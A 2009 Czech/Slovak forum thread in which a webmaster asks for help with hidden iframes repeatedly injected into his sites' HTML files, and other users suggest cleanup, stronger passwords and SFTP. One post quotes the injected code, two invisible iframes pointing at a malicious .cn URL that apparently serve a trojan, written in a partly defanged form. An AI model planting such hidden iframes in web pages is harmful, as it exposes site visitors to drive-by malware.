Stránka 1 z 1

Virus na webu

Napsal: 28 led 2009, 16:12
od mr_mocak
Zdravím, mám velkej problém.. Vedu 3 weby a do zdrojovýho kódu souborů *.htm se mi nějakým způsobem vloží skript, kterej začne neviditelně stahovat soubor s trojským koněm. Zformátoval jsem PC a od tý doby se na ftp nepřipojil, ale stejně to tam je znova, nevíte někdo co s tím? Díky!

Napsal: 28 led 2009, 16:15
od mr_mocak
Tohle se mi tam vkládá:

<i frame src="http://litetop find world.cn/in.cgi?coca cola31" width=1 height=1 style="visibility: hidden"></iframe><i frame src="http://litetop find world.cn/in.cgi?coca cola30" width=1 height=1 style="visibility: hidden"></iframe>

Napsal: 28 led 2009, 16:33
od mikollar.
vyscitit poriadne PC, zmazat kod zo vsetkych suborov, a zmenit heslo k FTP na nejake silne heslo radsej :)

Napsal: 28 led 2009, 16:36
od mr_mocak
To sem prave udelal.. Formatoval jsem kvuli tomu pc, web byl cisty. Jeste jsem se ani nepripojil a je to tam zase, takze to ode me bejt nemuze..

Napsal: 28 led 2009, 18:43
od mikollar
hesla na FTP si menil cez zabezpecenie? resp. na FTP sa pripajas pomocou SFTP?

Napsal: 28 led 2009, 18:52
od mr_mocak
Na FTP se pripojuju prez Total Commander, heslo tam neukladam. Menim ho v uzivatelskym rozhrani na www strankach firmy, co hosting poskytuje ( http://www.forpsi.com ) takze by to melo bejt zabezpeceny. Dneska sem zmenil hesla na 24-mistnej kod s cislama i pismenama a weby nahral znova, tak uvidim, snad uz to bude okej..

Napsal: 28 led 2009, 18:58
od mikollar
mno ono ak zmenis tak sa neprihlasuj a uvidis, to SFTP je myslim SSL FTP cize prens dat sa sifruje, nikto nemmoze odchitit hesla a pod. neviem ci TCM podporuje aj SFTP

Napsal: 28 led 2009, 19:56
od mr_mocak
Diky za radu!!!! Po doinstalovani dvou dll Total Commander SSL podporuje. Tak uvidim, kdy se tam zas cervik objevi... :)

Napsal: 28 led 2009, 23:53
od ZdenekHQ
Jakej máš hosting ?

P.S. Podle toho scriptu to zblbne jen ten zk*rvenej Explorer...

Napsal: 29 led 2009, 17:11
od eljaro
loni v létě se stalo totéž !

Vůbec jsem to neřešil poslal jsem administratorům požadavek na kompletní výmaz a vygenerování nového hesla pro přistup !

Heslo jsem si pak projistotu ještě jednou změnil !

Po nahrání přes ftp je vše ok je klid !

Odemne ten vir nebyl !A jak jsem se nedávno dočetl v novinkách tak jsem nebyl asi jediný administrátor omezil totiž přístupy na přístupy z cz domén a pokud to někdo chce i odjinut musí si to nastavit .

To je jasná známka že ty útoky jsou z venčí a dokonce mimo doménu cz !

Aneb jak říká náš spráce sítě heslo má význam jen když má minimálně 8 znaků a obsahuje malé a velké znaky číslice a alespon jeden zvláštní znak
jinak je lepší žádné ! :D

PS: Omluvte pravopis dík